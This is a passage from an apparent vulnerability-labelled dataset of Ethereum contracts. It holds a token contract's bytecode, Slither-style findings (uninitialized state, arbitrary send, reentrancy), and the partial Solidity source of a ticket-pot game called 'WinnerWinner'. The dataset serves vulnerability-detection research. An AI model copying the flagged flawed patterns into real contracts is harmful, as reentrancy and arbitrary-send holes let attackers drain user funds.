56116325750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116885750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116a05750601260189054906101000a900460ff165b1561178157601260149054906101000a900460ff166116be57600080fd5b6102586014546116ce91906132df565b421015611780576013548111156116e457600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061172f57600080fd5b601e4261173c91906132df565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600061178c30610619565b9050601260169054906101000a900460ff161580156117f95750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118115750601260179054906101000a900460ff165b15611e1f576118676064611859600361184b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610619565b6123d190919063ffffffff16565b61244c90919063ffffffff16565b821115801561187857506013548211155b61188157600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118cc57600080fd5b42610e10600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191a91906132df565b1015611966576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611a9d57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906119fe9061348e565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061012c42611a5591906132df565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db4565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611b9057600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b359061348e565b919050555061025842611b4891906132df565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db3565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611c8357600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c289061348e565b91905055506105dc42611c3b91906132df565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db2565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611db157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d1b9061348e565b9190505550610e10600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6d91906132df565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611dbd816120d7565b60004790506000811115611dd557611dd447611f48565b5b611e1d600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612496565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ec85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ed257600090505b611ede848484846124bf565b50505050565b6000838311158290611f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f239190613098565b60405180910390fd5b5060008385611f3b91906133c0565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fab6006611f9d600a8661244c90919063ffffffff16565b6123d190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fd6573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61203a600461202c600a8661244c90919063ffffffff16565b6123d190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612065573d6000803e3d6000fd5b5050565b60006006548211156120b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a7906130da565b60405180910390fd5b60006120ba6124fe565b90506120cf818461244c90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612135577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121635781602001602082028036833780820191505090505b50905030816000815181106121a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561224357600080fd5b505afa158015612257573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061227b9190612bb7565b816001815181106122b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061231c30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f43565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612380959493929190613215565b600060405180830381600087803b15801561239a57600080fd5b505af11580156123ae573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156123e45760009050612446565b600082846123f29190613366565b90508284826124019190613335565b14612441576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124389061313a565b60405180910390fd5b809150505b92915050565b600061248e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612529565b905092915050565b806008546124a49190613366565b60088190555060018111156124bc57600f6009819055505b50565b806124cd576124cc61258c565b5b6124d88484846125bd565b806124e6576124e56124ec565b5b50505050565b6002600881905550600a600981905550565b600080600061250b612788565b91509150612522818361244c90919063ffffffff16565b9250505090565b60008083118290612570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125679190613098565b60405180910390fd5b506000838561257f9190613335565b9050809150509392505050565b60006008541480156125a057506000600954145b156125aa576125bb565b600060088190555060006009819055505b565b6000806000806000806125cf876127ea565b95509550955095509550955061262d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061270e816128fa565b61271884836129b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161277591906131fa565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506127be683635c9adc5dea0000060065461244c90919063ffffffff16565b8210156127dd57600654683635c9adc5dea000009350935050506127e6565b81819350935050505b9091565b60008060008060008060008060006128078a6008546009546129f1565b92509250925060006128176124fe565b9050600080600061282a8e878787612a87565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ee4565b905092915050565b60008082846128ab91906132df565b9050838110156128f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e79061311a565b60405180910390fd5b8091505092915050565b60006129046124fe565b9050600061291b82846123d190919063ffffffff16565b905061296f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129cc8260065461285290919063ffffffff16565b6006819055506129e78160075461289c90919063ffffffff16565b6007819055505050565b600080600080612a1d6064612a0f888a6123d190919063ffffffff16565b61244c90919063ffffffff16565b90506000612a476064612a39888b6123d190919063ffffffff16565b61244c90919063ffffffff16565b90506000612a7082612a62858c61285290919063ffffffff16565b61285290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612aa085896123d190919063ffffffff16565b90506000612ab786896123d190919063ffffffff16565b90506000612ace87896123d190919063ffffffff16565b90506000612af782612ae9858761285290919063ffffffff16565b61285290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612b1f816137ea565b92915050565b600081519050612b34816137ea565b92915050565b600081359050612b4981613801565b92915050565b600081519050612b5e81613801565b92915050565b600081359050612b7381613818565b92915050565b600081519050612b8881613818565b92915050565b600060208284031215612ba057600080fd5b6000612bae84828501612b10565b91505092915050565b600060208284031215612bc957600080fd5b6000612bd784828501612b25565b91505092915050565b60008060408385031215612bf357600080fd5b6000612c0185828601612b10565b9250506020612c1285828601612b10565b9150509250929050565b600080600060608486031215612c3157600080fd5b6000612c3f86828701612b10565b9350506020612c5086828701612b10565b9250506040612c6186828701612b64565b9150509250925092565b60008060408385031215612c7e57600080fd5b6000612c8c85828601612b10565b9250506020612c9d85828601612b64565b9150509250929050565b600060208284031215612cb957600080fd5b6000612cc784828501612b3a565b91505092915050565b600060208284031215612ce257600080fd5b6000612cf084828501612b4f565b91505092915050565b600080600060608486031215612d0e57600080fd5b6000612d1c86828701612b79565b9350506020612d2d86828701612b79565b9250506040612d3e86828701612b79565b9150509250925092565b6000612d548383612d60565b60208301905092915050565b612d69816133f4565b82525050565b612d78816133f4565b82525050565b6000612d898261329a565b612d9381856132bd565b9350612d9e8361328a565b8060005b83811015612dcf578151612db68882612d48565b9750612dc1836132b0565b925050600181019050612da2565b5085935050505092915050565b612de581613406565b82525050565b612df481613449565b82525050565b6000612e05826132a5565b612e0f81856132ce565b9350612e1f81856020860161345b565b612e2881613535565b840191505092915050565b6000612e406023836132ce565b9150612e4b82613546565b604082019050919050565b6000612e63602a836132ce565b9150612e6e82613595565b604082019050919050565b6000612e866022836132ce565b9150612e91826135e4565b604082019050919050565b6000612ea9601b836132ce565b9150612eb482613633565b602082019050919050565b6000612ecc6021836132ce565b9150612ed78261365c565b604082019050919050565b6000612eef6020836132ce565b9150612efa826136ab565b602082019050919050565b6000612f126029836132ce565b9150612f1d826136d4565b604082019050919050565b6000612f356025836132ce565b9150612f4082613723565b604082019050919050565b6000612f586024836132ce565b9150612f6382613772565b604082019050919050565b6000612f7b6011836132ce565b9150612f86826137c1565b602082019050919050565b612f9a81613432565b82525050565b612fa98161343c565b82525050565b6000602082019050612fc46000830184612d6f565b92915050565b6000604082019050612fdf6000830185612d6f565b612fec6020830184612d6f565b9392505050565b60006040820190506130086000830185612d6f565b6130156020830184612f91565b9392505050565b600060c0820190506130316000830189612d6f565b61303e6020830188612f91565b61304b6040830187612deb565b6130586060830186612deb565b6130656080830185612d6f565b61307260a0830184612f91565b979650505050505050565b60006020820190506130926000830184612ddc565b92915050565b600060208201905081810360008301526130b28184612dfa565b905092915050565b600060208201905081810360008301526130d381612e33565b9050919050565b600060208201905081810360008301526130f381612e56565b9050919050565b6000602082019050818103600083015261311381612e79565b9050919050565b6000602082019050818103600083015261313381612e9c565b9050919050565b6000602082019050818103600083015261315381612ebf565b9050919050565b6000602082019050818103600083015261317381612ee2565b9050919050565b6000602082019050818103600083015261319381612f05565b9050919050565b600060208201905081810360008301526131b381612f28565b9050919050565b600060208201905081810360008301526131d381612f4b565b9050919050565b600060208201905081810360008301526131f381612f6e565b9050919050565b600060208201905061320f6000830184612f91565b92915050565b600060a08201905061322a6000830188612f91565b6132376020830187612deb565b81810360408301526132498186612d7e565b90506132586060830185612d6f565b6132656080830184612f91565b9695505050505050565b60006020820190506132846000830184612fa0565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132ea82613432565b91506132f583613432565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561332a576133296134d7565b5b828201905092915050565b600061334082613432565b915061334b83613432565b92508261335b5761335a613506565b5b828204905092915050565b600061337182613432565b915061337c83613432565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133b5576133b46134d7565b5b828202905092915050565b60006133cb82613432565b91506133d683613432565b9250828210156133e9576133e86134d7565b5b828203905092915050565b60006133ff82613412565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061345482613432565b9050919050565b60005b8381101561347957808201518184015260208101905061345e565b83811115613488576000848401525b50505050565b600061349982613432565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134cc576134cb6134d7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137f3816133f4565b81146137fe57600080fd5b50565b61380a81613406565b811461381557600080fd5b50565b61382181613432565b811461382c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f223ba0ebf52dff5228ca983e1a36ad464258d51d225f3aeab0933fecb897bb64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 306 |
0x6bba97fa60ed6339ca583b8b40c2fd0c12284c2f | // solhint-disable-next-line compiler-fixed, compiler-gt-0_4
pragma solidity ^0.4.24;
// _,,ad8888888888bba,_
// ,ad88888I888888888888888ba,
// ,88888888I88888888888888888888a,
// ,d888888888I8888888888888888888888b,
// d88888PP"""" ""YY88888888888888888888b,
// ,d88"'__,,--------,,,,.;ZZZY8888888888888,
// ,8IIl'" ;;l"ZZZIII8888888888,
// ,I88l;' ;lZZZZZ888III8888888,
// ,II88Zl;. ;llZZZZZ888888I888888,
// ,II888Zl;. .;;;;;lllZZZ888888I8888b
// ,II8888Z;; `;;;;;''llZZ8888888I8888,
// II88888Z;' .;lZZZ8888888I888b
// II88888Z; _,aaa, .,aaaaa,__.l;llZZZ88888888I888
// II88888IZZZZZZZZZ, .ZZZZZZZZZZZZZZ;llZZ88888888I888,
// II88888IZZ<'(@@>Z| |ZZZ<'(@@>ZZZZ;;llZZ888888888I88I
// ,II88888; `""" ;| |ZZ; `""" ;;llZ8888888888I888
// II888888l `;; .;llZZ8888888888I888,
// ,II888888Z; ;;; .;;llZZZ8888888888I888I
// III888888Zl; .., `;; ,;;lllZZZ88888888888I888
// II88888888Z;;...;(_ _) ,;;;llZZZZ88888888888I888,
// II88888888Zl;;;;;' `--'Z;. .,;;;;llZZZZ88888888888I888b
// ]I888888888Z;;;;' ";llllll;..;;;lllZZZZ88888888888I8888,
// II888888888Zl.;;"Y88bd888P";;,..;lllZZZZZ88888888888I8888I
// II8888888888Zl;.; `"PPP";;;,..;lllZZZZZZZ88888888888I88888
// II888888888888Zl;;. `;;;l;;;;lllZZZZZZZZW88888888888I88888
// `II8888888888888Zl;. ,;;lllZZZZZZZZWMZ88888888888I88888
// II8888888888888888ZbaalllZZZZZZZZZWWMZZZ8888888888I888888,
// `II88888888888888888b"WWZZZZZWWWMMZZZZZZI888888888I888888b
// `II88888888888888888;ZZMMMMMMZZZZZZZZllI888888888I8888888
// `II8888888888888888 `;lZZZZZZZZZZZlllll888888888I8888888,
// II8888888888888888, `;lllZZZZllllll;;.Y88888888I8888888b,
// ,II8888888888888888b .;;lllllll;;;.;..88888888I88888888b,
// II888888888888888PZI;. .`;;;.;;;..; ...88888888I8888888888,
// II888888888888PZ;;';;. ;. .;. .;. .. Y8888888I88888888888b,
// ,II888888888PZ;;' `8888888I8888888888888b,
// II888888888' 888888I8888888888888888b
// ,II888888888 ,888888I88888888888888888
// ,d88888888888 d888888I8888888888ZZZZZZZ
// ,ad888888888888I 8888888I8888ZZZZZZZZZZZZZ
// ,d888888888888888' 888888IZZZZZZZZZZZZZZZZZZ
// ,d888888888888P'8P' Y888ZZZZZZZZZZZZZZZZZZZZZ
// ,8888888888888, " ,ZZZZZZZZZZZZZZZZZZZZZZZZ
// d888888888888888, ,ZZZZZZZZZZZZZZZZZZZZZZZZZZZ
// 888888888888888888a, _ ,ZZZZZZZZZZZZZZZZZZZZ888888888
// 888888888888888888888ba,_d' ,ZZZZZZZZZZZZZZZZZ88888888888888
// 8888888888888888888888888888bbbaaa,,,______,ZZZZZZZZZZZZZZZ888888888888888888
// 88888888888888888888888888888888888888888ZZZZZZZZZZZZZZZ888888888888888888888
// 8888888888888888888888888888888888888888ZZZZZZZZZZZZZZ88888888888888888888888
// 888888888888888888888888888888888888888ZZZZZZZZZZZZZZ888888888888888888888888
// 8888888888888888888888888888888888888ZZZZZZZZZZZZZZ88888888888888888888888888
// 88888888888888888888888888888888888ZZZZZZZZZZZZZZ8888888888888888888888888888
// 8888888888888888888888888888888888ZZZZZZZZZZZZZZ88888888888888888 Da Vinci 88
// 88888888888888888888888888888888ZZZZZZZZZZZZZZ8888888888888888888 Coders 88
// 8888888888888888888888888888888ZZZZZZZZZZZZZZ88888888888888888888888888888888
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return a / b;
}
function mod(uint a, uint b) internal pure returns (uint) {
return a % b;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Dividends {
using SafeMath for *;
uint private constant FIXED_POINT = 1000000000000000000;
struct Scheme {
uint value;
uint shares;
uint mask;
}
struct Vault {
uint value;
uint shares;
uint mask;
}
mapping (uint => mapping (address => Vault)) private vaultOfAddress;
mapping (uint => Scheme) private schemeOfId;
function buyShares (uint _schemeId, address _owner, uint _shares, uint _value) internal {
require(_owner != address(0));
require(_shares > 0 && _value > 0);
uint value = _value.mul(FIXED_POINT);
Scheme storage scheme = schemeOfId[_schemeId];
scheme.value = scheme.value.add(_value);
scheme.shares = scheme.shares.add(_shares);
require(value > scheme.shares);
uint pps = value.div(scheme.shares);
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.shares = vault.shares.add(_shares);
vault.mask = vault.mask.add(scheme.mask.mul(_shares));
vault.value = vault.value.add(value.sub(pps.mul(scheme.shares)));
scheme.mask = scheme.mask.add(pps);
}
function flushVault (uint _schemeId, address _owner) internal {
uint gains = gainsOfVault(_schemeId, _owner);
if (gains > 0) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.value = vault.value.add(gains);
vault.mask = vault.mask.add(gains);
}
}
function withdrawVault (uint _schemeId, address _owner) internal returns (uint) {
flushVault(_schemeId, _owner);
Vault storage vault = vaultOfAddress[_schemeId][_owner];
uint payout = vault.value.div(FIXED_POINT);
if (payout > 0) {
vault.value = 0;
}
return payout;
}
function creditVault (uint _schemeId, address _owner, uint _value) internal {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.value = vault.value.add(_value.mul(FIXED_POINT));
}
function gainsOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Scheme storage scheme = schemeOfId[_schemeId];
Vault storage vault = vaultOfAddress[_schemeId][_owner];
if (vault.shares == 0) {
return 0;
}
return scheme.mask.mul(vault.shares).sub(vault.mask);
}
function valueOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
return vault.value;
}
function balanceOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
uint total = vault.value.add(gainsOfVault(_schemeId, _owner));
uint balance = total.div(FIXED_POINT);
return balance;
}
function sharesOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
return vault.shares;
}
function valueOfScheme (uint _schemeId) internal view returns (uint) {
return schemeOfId[_schemeId].value;
}
function sharesOfScheme (uint _schemeId) internal view returns (uint) {
return schemeOfId[_schemeId].shares;
}
}
library Utils {
using SafeMath for uint;
uint private constant LAST_COUNTRY = 195;
function regularTicketPrice () internal pure returns (uint) {
return 100000000000000;
}
function goldenTicketPrice (uint _x) internal pure returns (uint) {
uint price = _x.mul(_x).div(2168819140000000000000000).add(100000000000000).add(_x.div(100000));
return price < regularTicketPrice() ? regularTicketPrice() : price;
}
function ticketsForWithExcess (uint _value) internal pure returns (uint, uint) {
uint tickets = _value.div(regularTicketPrice());
uint excess = _value.sub(tickets.mul(regularTicketPrice()));
return (tickets, excess);
}
function percentageOf (uint _value, uint _p) internal pure returns (uint) {
return _value.mul(_p).div(100);
}
function validReferralCode (string _code) internal pure returns (bool) {
bytes memory b = bytes(_code);
if (b.length < 3) {
return false;
}
for (uint i = 0; i < b.length; i++) {
bytes1 c = b[i];
if (
!(c >= 0x30 && c <= 0x39) && // 0-9
!(c >= 0x41 && c <= 0x5A) && // A-Z
!(c >= 0x61 && c <= 0x7A) && // a-z
!(c == 0x2D) // -
) {
return false;
}
}
return true;
}
function validNick (string _nick) internal pure returns (bool) {
return bytes(_nick).length > 3;
}
function validCountryId (uint _countryId) internal pure returns (bool) {
return _countryId > 0 && _countryId <= LAST_COUNTRY;
}
}
contract Events {
event Started (
uint _time
);
event Bought (
address indexed _player,
address indexed _referral,
uint _countryId,
uint _tickets,
uint _value,
uint _excess
);
event Promoted (
address indexed _player,
uint _goldenTickets,
uint _endTime
);
event Withdrew (
address indexed _player,
uint _amount
);
event Registered (
string _code, address indexed _referral
);
event Won (
address indexed _winner, uint _pot
);
}
contract Constants {
uint internal constant MAIN_SCHEME = 1337;
uint internal constant DEFAULT_COUNTRY = 1;
uint internal constant SET_NICK_FEE = 0.01 ether;
uint internal constant REFERRAL_REGISTRATION_FEE = 0.01 ether;
uint internal constant TO_DIVIDENDS = 42;
uint internal constant TO_REFERRAL = 10;
uint internal constant TO_DEVELOPERS = 4;
uint internal constant TO_COUNTRY = 12;
}
contract State is Constants {
address internal addressOfOwner;
uint internal maxTime = 0;
uint internal addedTime = 0;
uint internal totalPot = 0;
uint internal startTime = 0;
uint internal endTime = 0;
bool internal potWithdrawn = false;
address internal addressOfCaptain;
struct Info {
address referral;
uint countryId;
uint withdrawn;
string nick;
}
mapping (address => Info) internal infoOfAddress;
mapping (address => string[]) internal codesOfAddress;
mapping (string => address) internal addressOfCode;
modifier restricted () {
require(msg.sender == addressOfOwner);
_;
}
modifier active () {
require(startTime > 0);
require(block.timestamp < endTime);
require(!potWithdrawn);
_;
}
modifier player () {
require(infoOfAddress[msg.sender].countryId > 0);
_;
}
}
contract Core is Events, State, Dividends {}
contract ExternalView is Core {
function totalInfo () external view returns (bool, bool, address, uint, uint, uint, uint, uint, uint, address) {
return (
startTime > 0,
block.timestamp >= endTime,
addressOfCaptain,
totalPot,
endTime,
sharesOfScheme(MAIN_SCHEME),
valueOfScheme(MAIN_SCHEME),
maxTime,
addedTime,
addressOfOwner
);
}
function countryInfo (uint _countryId) external view returns (uint, uint) {
return (
sharesOfScheme(_countryId),
valueOfScheme(_countryId)
);
}
function playerInfo (address _player) external view returns (uint, uint, uint, address, uint, uint, string) {
Info storage info = infoOfAddress[_player];
return (
sharesOfVault(MAIN_SCHEME, _player),
balanceOfVault(MAIN_SCHEME, _player),
balanceOfVault(info.countryId, _player),
info.referral,
info.countryId,
info.withdrawn,
info.nick
);
}
function numberOfReferralCodes (address _player) external view returns (uint) {
return codesOfAddress[_player].length;
}
function referralCodeAt (address _player, uint i) external view returns (string) {
return codesOfAddress[_player][i];
}
function codeToAddress (string _code) external view returns (address) {
return addressOfCode[_code];
}
function goldenTicketPrice (uint _x) external pure returns (uint) {
return Utils.goldenTicketPrice(_x);
}
}
contract Internal is Core {
function _registerReferral (string _code, address _referral) internal {
require(Utils.validReferralCode(_code));
require(addressOfCode[_code] == address(0));
addressOfCode[_code] = _referral;
codesOfAddress[_referral].push(_code);
emit Registered(_code, _referral);
}
}
contract WinnerWinner is Core, Internal, ExternalView {
using SafeMath for *;
constructor () public {
addressOfOwner = msg.sender;
}
function () public payable {
buy(addressOfOwner, DEFAULT_COUNTRY);
}
function start (uint _maxTime, uint _addedTime) public restricted {
require(startTime == 0);
require(_maxTime > 0 && _addedTime > 0);
require(_maxTime > _addedTime);
maxTime = _maxTime;
addedTime = _addedTime;
startTime = block.timestamp;
endTime = startTime + maxTime;
addressOfCaptain = addressOfOwner;
_registerReferral("owner", addressOfOwner);
emit Started(startTime);
}
function buy (address _referral, uint _countryId) public payable active {
require(msg.value >= Utils.regularTicketPrice());
require(msg.value <= 100000 ether);
require(codesOfAddress[_referral].length > 0);
require(_countryId != MAIN_SCHEME);
require(Utils.validCountryId(_countryId));
(uint tickets, uint excess) = Utils.ticketsForWithExcess(msg.value);
uint value = msg.value.sub(excess);
require(tickets > 0);
require(value.add(excess) == msg.value);
Info storage info = infoOfAddress[msg.sender];
if (info.countryId == 0) {
info.referral = _referral;
info.countryId = _countryId;
}
uint vdivs = Utils.percentageOf(value, TO_DIVIDENDS);
uint vreferral = Utils.percentageOf(value, TO_REFERRAL);
uint vdevs = Utils.percentageOf(value, TO_DEVELOPERS);
uint vcountry = Utils.percentageOf(value, TO_COUNTRY);
uint vpot = value.sub(vdivs).sub(vreferral).sub(vdevs).sub(vcountry);
assert(vdivs.add(vreferral).add(vdevs).add(vcountry).add(vpot) == value);
buyShares(MAIN_SCHEME, msg.sender, tickets, vdivs);
buyShares(info.countryId, msg.sender, tickets, vcountry);
creditVault(MAIN_SCHEME, info.referral, vreferral);
creditVault(MAIN_SCHEME, addressOfOwner, vdevs);
if (excess > 0) {
creditVault(MAIN_SCHEME, msg.sender, excess);
}
uint goldenTickets = value.div(Utils.goldenTicketPrice(totalPot));
if (goldenTickets > 0) {
endTime = endTime.add(goldenTickets.mul(addedTime)) > block.timestamp.add(maxTime) ?
block.timestamp.add(maxTime) : endTime.add(goldenTickets.mul(addedTime));
addressOfCaptain = msg.sender;
emit Promoted(addressOfCaptain, goldenTickets, endTime);
}
totalPot = totalPot.add(vpot);
emit Bought(msg.sender, info.referral, info.countryId, tickets, value, excess);
}
function setNick (string _nick) public payable {
require(msg.value == SET_NICK_FEE);
require(Utils.validNick(_nick));
infoOfAddress[msg.sender].nick = _nick;
creditVault(MAIN_SCHEME, addressOfOwner, msg.value);
}
function registerCode (string _code) public payable {
require(startTime > 0);
require(msg.value == REFERRAL_REGISTRATION_FEE);
_registerReferral(_code, msg.sender);
creditVault(MAIN_SCHEME, addressOfOwner, msg.value);
}
function giftCode (string _code, address _referral) public restricted {
_registerReferral(_code, _referral);
}
function withdraw () public {
Info storage info = infoOfAddress[msg.sender];
uint payout = withdrawVault(MAIN_SCHEME, msg.sender);
if (Utils.validCountryId(info.countryId)) {
payout = payout.add(withdrawVault(info.countryId, msg.sender));
}
if (payout > 0) {
info.withdrawn = info.withdrawn.add(payout);
msg.sender.transfer(payout);
emit Withdrew(msg.sender, payout);
}
}
function withdrawPot () public player {
require(startTime > 0);
